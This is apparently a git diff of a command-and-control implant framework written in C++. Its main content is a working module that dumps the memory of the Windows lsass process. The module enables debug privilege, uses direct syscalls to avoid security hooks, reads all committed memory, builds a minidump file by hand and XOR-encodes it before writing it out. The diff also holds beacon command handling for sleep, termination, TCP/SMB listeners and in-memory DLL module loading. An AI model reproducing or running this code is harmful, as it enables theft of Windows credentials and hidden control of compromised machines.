HANDLE snapshot;
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &pEntry) == TRUE)
{
while (Process32Next(snapshot, &pEntry) == TRUE)
{
if (_stricmp(pEntry.szExeFile, pName) == 0)
{
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
if (Process32First(snapshot, &pEntry) == TRUE)
{
while (Process32Next(snapshot, &pEntry) == TRUE)
{
if (_stricmp(pEntry.szExeFile, pName) == 0)
{
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
@@ -487,10 +487,10 @@ BOOL setDebugPrivilege()
LUID luid = { 0 };
// if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if(hToken!=NULL)
Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if(hToken!=NULL)
{
// TODO do manualy
// TODO do manualy
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
TOKEN_PRIVILEGES tokenPriv = { 0 };
@@ -499,8 +499,8 @@ BOOL setDebugPrivilege()
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL);
bRet = TRUE;
Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL);
bRet = TRUE;
}
}
@@ -554,16 +554,16 @@ typedef LONG(WINAPI* RtlGetVersionPtr)(POSVERSIONINFOW);
OSVERSIONINFOW GetOSInfo()
{
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion");
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion");
OSVERSIONINFOW osvi = { 0 };
osvi.dwOSVersionInfoSize = sizeof(osvi);
if (RtlGetVersion(&osvi) == 0)
{
{
return osvi;
}
else
{
{
return osvi;
}
}
@@ -572,49 +572,49 @@ OSVERSIONINFOW GetOSInfo()
// https://github.com/ricardojoserf/NativeDump
void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::vector<Memory64Info>& mem64info_List, const std::string& memoryRegions_byte_arr, std::string& dumpfile)
{
std::vector<uint8_t> tmp;
std::vector<uint8_t> tmp;
//
// Header - 32 bytes
//
MiniDumpHeader header = { 0 };;
header.Signature = 0x504d444d;
header.Version = 0xa793;
header.NumberOfStreams = 0x3;
header.StreamDirectoryRva = 0x20;
//
// Header - 32 bytes
//
MiniDumpHeader header = { 0 };;
header.Signature = 0x504d444d;
header.Version = 0xa793;
header.NumberOfStreams = 0x3;
header.StreamDirectoryRva = 0x20;
std::vector<uint8_t> header_byte_arr = StructToByteArray(header);
// std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl;
// std::cout << "header_byte_arr should be 32 bytes" << std::endl;
//
// Stream Directory - 36 bytes
//
MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };;
minidumpStreamDirectoryEntry_1.StreamType = 4;
minidumpStreamDirectoryEntry_1.DataSize = 112;
minidumpStreamDirectoryEntry_1.Rva = 0x7c;
MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };;
minidumpStreamDirectoryEntry_2.StreamType = 7;
minidumpStreamDirectoryEntry_2.DataSize = 56;
minidumpStreamDirectoryEntry_2.Rva = 0x44;
MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };;
minidumpStreamDirectoryEntry_3.StreamType = 9;
minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size());
minidumpStreamDirectoryEntry_3.Rva = 0x12A;
std::vector<uint8_t> header_byte_arr = StructToByteArray(header);
// std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl;
// std::cout << "header_byte_arr should be 32 bytes" << std::endl;
//
// Stream Directory - 36 bytes
//
MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };;
minidumpStreamDirectoryEntry_1.StreamType = 4;
minidumpStreamDirectoryEntry_1.DataSize = 112;
minidumpStreamDirectoryEntry_1.Rva = 0x7c;
MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };;
minidumpStreamDirectoryEntry_2.StreamType = 7;
minidumpStreamDirectoryEntry_2.DataSize = 56;
minidumpStreamDirectoryEntry_2.Rva = 0x44;
MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };;
minidumpStreamDirectoryEntry_3.StreamType = 9;
minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size());
minidumpStreamDirectoryEntry_3.Rva = 0x12A;
std::vector<uint8_t> streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1);
tmp = StructToByteArray(minidumpStreamDirectoryEntry_2);
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
tmp = StructToByteArray(minidumpStreamDirectoryEntry_3);
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
// std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl;
//
// SystemInfoStream - 56 bytes
//
OSVERSIONINFOW osvi = GetOSInfo();
uint8_t systeminfostream[56] = { 0 };
std::vector<uint8_t> streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1);
tmp = StructToByteArray(minidumpStreamDirectoryEntry_2);
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
tmp = StructToByteArray(minidumpStreamDirectoryEntry_3);
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
// std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl;
//
// SystemInfoStream - 56 bytes
//
OSVERSIONINFOW osvi = GetOSInfo();
uint8_t systeminfostream[56] = { 0 };
int processor_architecture = 9;
uint32_t majorVersion = osvi.dwMajorVersion;
uint32_t minorVersion = osvi.dwMinorVersion;
@@ -624,75 +624,75 @@ void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::ve
memcpy(systeminfostream + 12, &minorVersion, 4);
memcpy(systeminfostream + 16, &buildNumber, 4);
std::vector<uint8_t> systemInfoStream_byte_arr = StructToByteArray(systeminfostream);
// std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl;
// std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl;
//
// ModuleList
//
MiniDumpModule module = { 0 };
module.NumberOfModules = 1;
module.BaseOfImage = reinterpret_cast<ULONG64>(lsasrvdll_address);
module.SizeOfImage = lsasrvdll_size;
module.ModuleNameRva = 0xE8;
// module.Reserved1 = 0;
std::vector<uint8_t> systemInfoStream_byte_arr = StructToByteArray(systeminfostream);
// std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl;
// std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl;
//
// ModuleList
//
MiniDumpModule module = { 0 };
module.NumberOfModules = 1;
module.BaseOfImage = reinterpret_cast<ULONG64>(lsasrvdll_address);
module.SizeOfImage = lsasrvdll_size;
module.ModuleNameRva = 0xE8;
// module.Reserved1 = 0;
// quick fix on the size!!!
std::vector<uint8_t> moduleListStream_byte_arr = StructToByteArray(module);
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
// std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl;
// quick fix on the size!!!
std::vector<uint8_t> moduleListStream_byte_arr = StructToByteArray(module);
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
// std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl;
std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll";
ModuleSize moduleSize;
moduleSize.size = moduleName.size()*2;
tmp = StructToByteArray(moduleSize);
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
tmp = StringToUnicodeVector(moduleName.c_str());
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
// std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl;
std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll";
ModuleSize moduleSize;
moduleSize.size = moduleName.size()*2;
tmp = StructToByteArray(moduleSize);
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
tmp = StringToUnicodeVector(moduleName.c_str());
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
moduleListStream_byte_arr.push_back(0);
moduleListStream_byte_arr.push_back(0);
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
// std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl;
//
// Memory64List
//
int number_of_entries = mem64info_List.size();
int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries);
MiniDumpMemory64ListStream memory64ListStream = { 0 };
memory64ListStream.NumberOfEntries = number_of_entries;
memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions;
std::vector<uint8_t> memory64ListStream_byte_arr = StructToByteArray(memory64ListStream);
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
// std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl;
//
// Memory64List
//
int number_of_entries = mem64info_List.size();
int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries);
MiniDumpMemory64ListStream memory64ListStream = { 0 };
memory64ListStream.NumberOfEntries = number_of_entries;
memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions;
std::vector<uint8_t> memory64ListStream_byte_arr = StructToByteArray(memory64ListStream);
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
// std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl;
// std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+
for (int i = 0; i < mem64info_List.size(); i++)
{
MiniDumpMemory64Info memory64Info;
memory64Info.address = reinterpret_cast<uint64_t>(mem64info_List[i].Address);
memory64Info.size = mem64info_List[i].Size;
tmp = StructToByteArray(memory64Info);
memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end());
}
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
// std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+
for (int i = 0; i < mem64info_List.size(); i++)
{
MiniDumpMemory64Info memory64Info;
memory64Info.address = reinterpret_cast<uint64_t>(mem64info_List[i].Address);
memory64Info.size = mem64info_List[i].Size;
tmp = StructToByteArray(memory64Info);
memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end());
}
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
// Create Minidump file complete byte array
std::vector<uint8_t> finalBuffer = header_byte_arr;
finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end());
// std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl;
// std::cout << "finalBuffer " << finalBuffer.size() << std::endl;
// Create Minidump file complete byte array
std::vector<uint8_t> finalBuffer = header_byte_arr;
finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end());
finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end());
// std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl;
// std::cout << "finalBuffer " << finalBuffer.size() << std::endl;
dumpfile = std::string(finalBuffer.begin(), finalBuffer.end());
dumpfile = std::string(finalBuffer.begin(), finalBuffer.end());
}
#endif
@@ -710,157 +710,157 @@ int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage)
#ifdef _WIN32
if(c2Message.cmd() == dumpCmd)
{
std::string procname = "lsass.exe";
DWORD dwPid = GetPidByName(procname.c_str());
// std::cout << "dwPid " << dwPid << std::endl;
if(dwPid==0)
{
c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND);
return -1;
}
if(c2Message.cmd() == dumpCmd)
{
std::string procname = "lsass.exe";
DWORD dwPid = GetPidByName(procname.c_str());
// std::cout << "dwPid " << dwPid << std::endl;
if(dwPid==0)
{
c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND);
return -1;
}
BOOL ret = setDebugPrivilege();
// std::cout << "ret " << ret << std::endl;
if(ret==FALSE)
{
c2RetMessage.set_errorCode(ERROR_SETDEBUG);
return -1;
}
BOOL ret = setDebugPrivilege();
// std::cout << "ret " << ret << std::endl;
if(ret==FALSE)
{
c2RetMessage.set_errorCode(ERROR_SETDEBUG);
return -1;
}
// Get process handle with NtOpenProcess
HANDLE lsassHandle=NULL;
CLIENT_ID client_id = {0};
client_id.UniqueProcess = (HANDLE)dwPid;
client_id.UniqueThread = 0;
OBJECT_ATTRIBUTES objAttr = {0};
Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id);
// HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
// std::cout << "lsassHandle " << lsassHandle << std::endl;
if(lsassHandle==NULL)
{
c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS);
return -1;
}
// Get process handle with NtOpenProcess
HANDLE lsassHandle=NULL;
CLIENT_ID client_id = {0};
client_id.UniqueProcess = (HANDLE)dwPid;
client_id.UniqueThread = 0;
OBJECT_ATTRIBUTES objAttr = {0};
Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id);
// HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
// std::cout << "lsassHandle " << lsassHandle << std::endl;
if(lsassHandle==NULL)
{
c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS);
return -1;
}
// Loop the memory regions
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// Loop the memory regions
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
MEMORY_BASIC_INFORMATION mbi;
char* address = 0;
MEMORY_BASIC_INFORMATION mbi;
char* address = 0;
// Get lsasrv.dll information
// Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp
std::string lsasrvDll = "lsasrv.dll";
// HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str());
// if(lsassHandle==NULL)
// {
// c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
// return -1;
// }
// Get lsasrv.dll information
// Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp
std::string lsasrvDll = "lsasrv.dll";
// HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str());
// if(lsassHandle==NULL)
// {
// c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
// return -1;
// }
std::vector<ModuleInformation> modules = CustomGetModuleHandle(lsassHandle, lsasrvDll);
if(modules.size()==0)
{
c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
return -1;
}
HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base;
std::vector<ModuleInformation> modules = CustomGetModuleHandle(lsassHandle, lsasrvDll);
if(modules.size()==0)
{
c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
return -1;
}
HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base;
int lsasrvdll_size = 0;
bool bool_test = false;
int lsasrvdll_size = 0;
bool bool_test = false;
std::vector<Memory64Info> mem64info_List;
std::string memory_regions;
while (address < sysInfo.lpMaximumApplicationAddress)
{
// TODO NtQueryVirtualMemory
// if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi))
SIZE_T returnLength;
if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength))
{
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
{
mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize);
std::vector<Memory64Info> mem64info_List;
std::string memory_regions;
while (address < sysInfo.lpMaximumApplicationAddress)
{
// TODO NtQueryVirtualMemory
// if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi))
SIZE_T returnLength;
if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength))
{
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
{
mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize);
char* buffer = new char[mbi.RegionSize];
SIZE_T bytesRead;
// TODO NtReadVirtualMemory
// ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
memory_regions.append(buffer, mbi.RegionSize);
delete buffer;
char* buffer = new char[mbi.RegionSize];
SIZE_T bytesRead;
// TODO NtReadVirtualMemory
// ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
memory_regions.append(buffer, mbi.RegionSize);
delete buffer;
// append_binary_data(filename, buffer);
// append_binary_data(filename, buffer);
// Calculate size of lsasrv.dll region
if (mbi.BaseAddress == lsasrvdll_address)
{
bool_test = true;
}
if (bool_test == true)
{
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
{
bool_test = false;
}
else
{
lsasrvdll_size += (int)mbi.RegionSize;
}
}
}
}
address += mbi.RegionSize;
}
// Calculate size of lsasrv.dll region
if (mbi.BaseAddress == lsasrvdll_address)
{
bool_test = true;
}
if (bool_test == true)
{
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
{
bool_test = false;
}
else
{
lsasrvdll_size += (int)mbi.RegionSize;
}
}
}
}
address += mbi.RegionSize;
}
CloseHandle(lsassHandle);
CloseHandle(lsassHandle);
std::string dumpfile;
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
std::string dumpfile;
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
XOR(dumpfile, xorKey);
XOR(dumpfile, xorKey);
// Save to file
std::string dmpFileName = c2Message.outputfile();
bool writeOk = WriteStringToFile(dmpFileName, dumpfile);
if(!writeOk)
{
c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE);
return -1;
}
// Save to file
std::string dmpFileName = c2Message.outputfile();
bool writeOk = WriteStringToFile(dmpFileName, dumpfile);
if(!writeOk)
{
c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE);
return -1;
}
c2RetMessage.set_returnvalue("Success");
return 0;
}
c2RetMessage.set_returnvalue("Success");
return 0;
}
#endif
return 0;
return 0;
}
int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==LSASS_PID_NOT_FOUND)
errorMsg = "lsass.exe PID not found.";
else if(errorCode==ERROR_SETDEBUG)
errorMsg = "setDebugPrivilege failed.";
else if(errorCode==ERROR_OPEN_PROCESS)
errorMsg = "OpenProcess failed.";
else if(errorCode==ERROR_GET_REMOTE_HANDLE)
errorMsg = "GetRemoteModuleHandle failed.";
else if(errorCode==ERROR_WRITE_OUTPUT_FILE)
errorMsg = "Write output file failed.";
else
errorMsg = "Unknown error";
}
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==LSASS_PID_NOT_FOUND)
errorMsg = "lsass.exe PID not found.";
else if(errorCode==ERROR_SETDEBUG)
errorMsg = "setDebugPrivilege failed.";
else if(errorCode==ERROR_OPEN_PROCESS)
errorMsg = "OpenProcess failed.";
else if(errorCode==ERROR_GET_REMOTE_HANDLE)
errorMsg = "GetRemoteModuleHandle failed.";
else if(errorCode==ERROR_WRITE_OUTPUT_FILE)
errorMsg = "Write output file failed.";
else
errorMsg = "Unknown error";
}
#endif
return 0;
return 0;
}
+9 -9
View File
@@ -7,21 +7,21 @@
class MiniDump : public ModuleCmd
{
public:
MiniDump();
~MiniDump();
MiniDump();
~MiniDump();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
};
File diff suppressed because it is too large Load Diff
+21 -21
View File
@@ -162,15 +162,15 @@ inline constexpr std::array<char, N> compileTimeXOR(const std::string_view data,
void static inline XOR(std::string& data, const std::string& key)
{
int j = 0;
for (int i = 0; i < data.size(); i++)
{
if (j == key.size())
j = 0;
int j = 0;
for (int i = 0; i < data.size(); i++)
{
if (j == key.size())
j = 0;
data[i] = data[i] ^ key[j];
j++;
}
data[i] = data[i] ^ key[j];
j++;
}
}
@@ -194,24 +194,24 @@ std::string static inline random_string(std::size_t length)
bool static inline isNumber(const std::string& str)
{
for (char const& c : str) {
if (std::isdigit(c) == 0) return false;
}
return true;
for (char const& c : str) {
if (std::isdigit(c) == 0) return false;
}
return true;
}
void static inline splitList(std::string list, const std::string& delimiter, std::vector<std::string>& splitedList)
{
size_t pos = 0;
std::string token;
while ((pos = list.find(delimiter)) != std::string::npos)
{
token = list.substr(0, pos);
splitedList.push_back(token);
list.erase(0, pos + delimiter.length());
}
splitedList.push_back(list);
size_t pos = 0;
std::string token;
while ((pos = list.find(delimiter)) != std::string::npos)
{
token = list.substr(0, pos);
splitedList.push_back(token);
list.erase(0, pos + delimiter.length());
}
splitedList.push_back(list);
}
+302 -302
View File
@@ -60,333 +60,333 @@ const std::string StopInstruction = "stop";
class CommonCommands
{
public:
CommonCommands()
{
m_commonCommands.push_back(EndInstruction);
m_commonCommands.push_back(ListenerInstruction);
m_commonCommands.push_back(LoadModuleInstruction);
m_commonCommands.push_back(UnloadModuleInstruction);
m_commonCommands.push_back(SleepInstruction);
}
public:
CommonCommands()
{
m_commonCommands.push_back(EndInstruction);
m_commonCommands.push_back(ListenerInstruction);
m_commonCommands.push_back(LoadModuleInstruction);
m_commonCommands.push_back(UnloadModuleInstruction);
m_commonCommands.push_back(SleepInstruction);
}
int getNumberOfCommand()
{
return m_commonCommands.size();
}
int getNumberOfCommand()
{
return m_commonCommands.size();
}
std::string getCommand(int idx)
{
if(idx<m_commonCommands.size())
return m_commonCommands[idx];
else
return "";
}
std::string getCommand(int idx)
{
if(idx<m_commonCommands.size())
return m_commonCommands[idx];
else
return "";
}
std::string translateCmdToInstruction(const std::string& cmd)
{
std::string output;
std::string translateCmdToInstruction(const std::string& cmd)
{
std::string output;
if(cmd==SleepCmd)
return SleepInstruction;
else if(cmd==EndCmd)
return EndInstruction;
else if(cmd==ListenerCmd)
return ListenerInstruction;
else if(cmd==LoadC2ModuleCmd)
return LoadModuleInstruction;
else if(cmd==UnloadC2ModuleCmd)
return UnloadModuleInstruction;
return "";
}
if(cmd==SleepCmd)
return SleepInstruction;
else if(cmd==EndCmd)
return EndInstruction;
else if(cmd==ListenerCmd)
return ListenerInstruction;
else if(cmd==LoadC2ModuleCmd)
return LoadModuleInstruction;
else if(cmd==UnloadC2ModuleCmd)
return UnloadModuleInstruction;
return "";
}
std::string getHelp(std::string cmd)
std::string getHelp(std::string cmd)
{
std::string output;
std::string output;
if (cmd == SleepCmd)
{
output = "sleep:\n";
output += " Set the sleep interval (in seconds) for the beacon.\n";
output += " Example:\n";
output += " - sleep 0.5\n";
}
else if (cmd == EndCmd)
{
output = "end:\n";
output += " Terminates the beacon process.\n";
output += " Example:\n";
output += " - end\n";
}
else if (cmd == ListenerCmd)
{
output = "listener:\n";
output += " Starts a TCP or SMB listener on the beacon.\n";
output += " The IP or hostname given to the listener is only in case of dropper use, to know where to connect to. It will show in the GUI.\n";
output += " Examples:\n";
output += " - listener start tcp <IP> <port>\n";
output += " - listener start tcp 10.2.4.8 4444\n";
output += " - listener start smb <IP/hostname> <pipename>\n";
output += " - listener start smb pipename\n";
}
else if (cmd == LoadC2ModuleCmd)
{
output = "loadModule:\n";
output += " Loads a module DLL into the beacon's memory, extending its capabilities.\n";
output += " Attempts to load from the specified path; if not found, falls back to the default '../Modules/' directory.\n";
output += " Example:\n";
output += " - loadModule assemblyexec\n";
output += " - loadModule /tools/PrintWorkingDirectory.dll\n";
}
else if (cmd == UnloadC2ModuleCmd)
{
output = "unloadModule:\n";
output += " Unloads a module DLL that was previously loaded via loadModule.\n";
output += " Example:\n";
output += " - unloadModule assemblyExec\n";
}
if (cmd == SleepCmd)
{
output = "sleep:\n";
output += " Set the sleep interval (in seconds) for the beacon.\n";
output += " Example:\n";
output += " - sleep 0.5\n";
}
else if (cmd == EndCmd)
{
output = "end:\n";
output += " Terminates the beacon process.\n";
output += " Example:\n";
output += " - end\n";
}
else if (cmd == ListenerCmd)
{
output = "listener:\n";
output += " Starts a TCP or SMB listener on the beacon.\n";
output += " The IP or hostname given to the listener is only in case of dropper use, to know where to connect to. It will show in the GUI.\n";
output += " Examples:\n";
output += " - listener start tcp <IP> <port>\n";
output += " - listener start tcp 10.2.4.8 4444\n";
output += " - listener start smb <IP/hostname> <pipename>\n";
output += " - listener start smb pipename\n";
}
else if (cmd == LoadC2ModuleCmd)
{
output = "loadModule:\n";
output += " Loads a module DLL into the beacon's memory, extending its capabilities.\n";
output += " Attempts to load from the specified path; if not found, falls back to the default '../Modules/' directory.\n";
output += " Example:\n";
output += " - loadModule assemblyexec\n";
output += " - loadModule /tools/PrintWorkingDirectory.dll\n";
}
else if (cmd == UnloadC2ModuleCmd)
{
output = "unloadModule:\n";
output += " Unloads a module DLL that was previously loaded via loadModule.\n";
output += " Example:\n";
output += " - unloadModule assemblyExec\n";
}
return output;
return output;
}
// if an error ocurre:
// set_returnvalue(errorMsg) && return -1
int init(std::vector<std::string> &splitedCmd, C2Message &c2Message, bool isWindows=true)
{
std::string instruction = splitedCmd[0];
// if an error ocurre:
// set_returnvalue(errorMsg) && return -1
int init(std::vector<std::string> &splitedCmd, C2Message &c2Message, bool isWindows=true)
{
std::string instruction = splitedCmd[0];
//
// Sleep
//
if(instruction==SleepInstruction)
{
if(splitedCmd.size()==2)
{
float sleepTimeSec=5;
try
{
sleepTimeSec = atof(splitedCmd[1].c_str());
}
catch (const std::invalid_argument& ia)
{
std::cerr << "Invalid argument: " << ia.what() << '\n';
return -1;
}
c2Message.set_instruction(SleepCmd);
c2Message.set_cmd(std::to_string(sleepTimeSec));
}
else
{
std::string errorMsg = getHelp(SleepCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
//
// End
//
else if(instruction==EndInstruction)
{
c2Message.set_instruction(EndCmd);
c2Message.set_cmd("");
}
//
// Listener
//
else if(instruction==ListenerInstruction)
{
if(splitedCmd.size()>=3)
{
if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerTcpType)
{
if(splitedCmd.size()>=5)
{
std::string host = splitedCmd[3];
